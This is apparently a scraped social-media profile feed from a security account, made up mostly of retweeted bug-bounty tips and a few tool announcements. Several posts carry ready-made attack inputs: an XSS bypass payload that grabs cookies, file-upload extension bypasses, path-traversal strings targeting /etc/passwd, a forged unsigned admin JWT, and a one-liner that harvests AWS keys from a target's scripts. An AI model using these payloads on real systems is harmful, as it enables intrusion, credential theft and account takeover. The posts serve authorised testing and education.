● Penetration Testing ● Bug Bounty ● Threat Intelligence ● Github: https://teapawt.org/t.co/7qnPTiLHNS ● My Osint Bot: https://teapawt.org/t.co/VMlw4zWdEs
Earth
Joined February 2025
- Tweets161
- Following53
- Followers63
- Likes0
1024 Cyber Services retweeted
Server-Side Request Forgery via Payload Fuzzing
Look fo
Image importers, webhooks, PDF generators, and params like ?url=, ?image=, ?fetch=
Test payload:
http://127.0.0.1:80
If the response returns internal content or timing differs from an external fetch, it may indicate SSRF.
1024 Cyber Services retweeted
Find Admin Paths in JavaScript with grep
grep -aoiE "["']^"'[^"']["']" target.js | sort -u
1024 Cyber Services retweeted
AWS Key Finders
- Live Domain
curl -s TARGET | grep -oP 'https?://[^"]+\.js' | xargs -I{} curl -s {} | grep -oP '\bA[KS]IA[0-9A-Z]{16}\b'
- Public Repo
git clone --depth=1 TARGET/repo.git /tmp/r && grep -rP '\bA[KS]IA[0-9A-Z]{16}\b' /tmp/r
Long-term + temp keys, easy critical.
1024 Cyber Services retweeted
Find GraphQL Endpoints in JavaScript with grep
Example:
grep -aoE "(/graphql|/gql|/query)[a-zA-Z0-9_/?&=_-]*" target.js | sort -u
DSCapture - A lightweight APK to capture real device traffic locally and save to storage in a pcap format where it can be analyzed with wireshark.
Repo: github.com/1024Cyber/dscaptu…
DroidSentinel - An Android security framework that allows user to perform security analysis and live network capture of a device.
Users can perform live app/process/port scanning, beacon detection, AI-assisted analysis, and genuine Wireshark-ready packet capture
Repo 👇👇
1024 Cyber Services retweeted
Cross Site Scripting (XSS) Akamai WAF Bypass. 🔥
Try this payload: <!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>
Remember to add payload to your list: 📝
#bugbountytips #bugbountytip #bugbounty
1024 Cyber Services retweeted
Extension Bypass V2
🔸 do.php%00.png
🔸 do.php%0A.png
🔸 do.php\n.png
🔸 do.php\u000a.png
🔸 do.php\u560a.png
🔸 do.php%E5%98%8A.png
🔸 do.php#.png
🔸 do.php%23.png
🔸 do.php\u0023.png
🔸 do.php;.png
🔸 do.php%3B.png
🔸 do.php\u003b.png
🔸 do.php\u563b.png
🔸 do.php%E5%98%BB.png
1024 Cyber Services retweeted
Path Traversal Bypasses
Null Byte Injection
../../../etc/./passwd%00.png
Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd
Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd
Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././
1024 Cyber Services retweeted
JWT NoAlg Bypass
(no sig needed)
Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.
Change the fields below accordingly.
echo -n '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}."
#BugBounty #BrokenAuth
1024 Cyber Services retweeted
You've heard of SQL injection, but have you heard of NoSQL injection?
In this video, we perform a full account takeover using NoSQL injection.
We use the NoSQL injection to find the admin username, and reset their password!
Learn this in our FREE labs 👇
portswigger.net/web-security…
1024 Cyber Services retweeted
One of the simplest (and most impactful) bugs to look for is switching out the algorithm on JWT tokens to "none". Here are the steps:
🟧 Decode the JWT and set the header to {"alg":"none","typ":"JWT"}.
🟧 Change the sub claim to {"sub":"administrator"}.
🟧 Strip the signature, keeping the trailing dot so the token ends in .
🟧 Send it!
Try it yourself here 👇
portswigger.net/web-security…
1024 Cyber Services retweeted
💀File upload extension bypass new method✅
in media upload section you can upload files like: .png .jpg .txt .mov
but if you upload any php file it block: .php .jpg.php .php7 .shtml
Bypass: ".php " (just add a simple space after .php)
Join my channel t.me/ShellSec
PRISM
Self-hosted OSINT platform with 22+ modules, OPSEC scoring, AI summary, and a real-time web dashboard.
Scan any domain, IP, email, phone, or username get WHOIS, DNS, threat intel, breach data, etc..
github.com/NovaCode37/Prism-…
1024 Cyber Services retweeted
Your smart TV takes a screenshot of your entire screen every 500 milliseconds.
that's twice per second while you watch.
The technology is called ACR. Automatic Content Recognition.
It doesn't just track Netflix. it tracks your cable box. your gaming console. your laptop plugged in via HDMI. everything that appears on that screen.
and it infers things from what you watch:
your race. your religion. your politics.
Those aren't my words, that's from the Texas Attorney General's lawsuit against Samsung, LG, Sony, Hisense, and TCL filed last year.
Who buys this data:
advertisers. data brokers. content networks. and political campaigns that use your viewing habits to target voters.
Your TV is not just showing you content.
It is building a profile on you and selling it.
Texas sued five manufacturers. Samsung settled in February. The other four are still collecting.
If you're not in Texas, you're on your own.
Vizio got fined $2.2 million by the FTC in 2017 for doing this without consent.
They paid the fine.
They kept doing it, they just ask now.
The opt-out is buried in your settings under names like "Viewing Information Services", "Live Plus", or "Interactivity Services."
